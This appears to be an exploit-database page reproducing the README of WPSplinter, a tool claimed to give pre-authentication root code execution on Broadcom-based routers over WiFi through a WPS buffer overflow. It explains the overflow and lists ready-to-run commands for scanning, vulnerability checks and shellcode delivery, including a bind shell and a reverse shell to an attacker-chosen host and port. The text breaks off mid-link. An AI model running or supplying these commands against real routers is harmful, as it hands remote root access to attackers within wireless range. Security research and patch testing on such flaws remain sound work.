Critical Severity
Published: Dec 1, 2026

[GitHub] WPSplinter

Buffer overflow
Type
N/A
CVSS Score
3
Views
Anonymous
Author

Description

Pre-authentication RCE over WiFi via WPS buffer overflow in Broadcom routers. Tested on MitraStar GPT-2541GNAC

# WPSplinter

Pre-authentication RCE over WiFi against Broadcom-based routers, built on vulnerability research by [Quentin Kaiser](https://github.com/qkaiser).

Broadcom's `wps_monitor` daemon has a buffer overflow in its EAP-WSC fragment reassembly: it copies data into a fixed 2048-byte buffer but validates against the attacker-controlled 16-bit `declared_len` instead of the real buffer size.

Setting `declared_len = 0xFFFF` bypasses the check, and a second fragment overwrites function pointers. Because the bug is reachable pre-authentication, an attacker within WiFi range gets root code execution without the PIN or any password.

<br>


## Usage

```
sudo python3 WPSplinter.py -i <interface> --mode <analyze|check|rce> [options]
```

| Mode | Description |
|---|---|
| analyze | Scan all nearby networks and check every WPS-enabled AP |
| check | Non-destructive vulnerability check against one AP |
| rce | Exploit - deliver shellcode to the target |

RCE options:

- Bind shell with `--bindport <PORT>`.

- Reverse shell with `--lhost <IP> --lport <PORT>`.

- Default (no parameters): Create file `/tmp/wpspwn` on the router.


<br>

## Examples

Scan and check all nearby networks:

```bash
sudo python3 WPSplinter.py -i wlan0mon --mode analyze
```

Check one AP by SSID (-s) or BSSID (-b):

```bash
sudo python3 WPSplinter.py -i wlan0mon -s vulnerable --mode check
```


<img src="https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/refs/heads/master/images/wpssplinter/check.png" width="570">


Bind shell:

```bash
sudo python3 WPSplinter.py -i wlan0mon -s vulnerable --mode rce --bindport 1337
```

Reverse shell:

```bash
sudo python3 WPSplinter.py -i wlan0mon -s vulnerable --mode rce --lhost 192.168.1.40 --lport 443
```


<img src="https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/refs/heads/master/images/wpssplinter/reversa0.png" width="570">

<img src="https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/ref

Community Rating
0

Login to rate this exploit

Quick Actions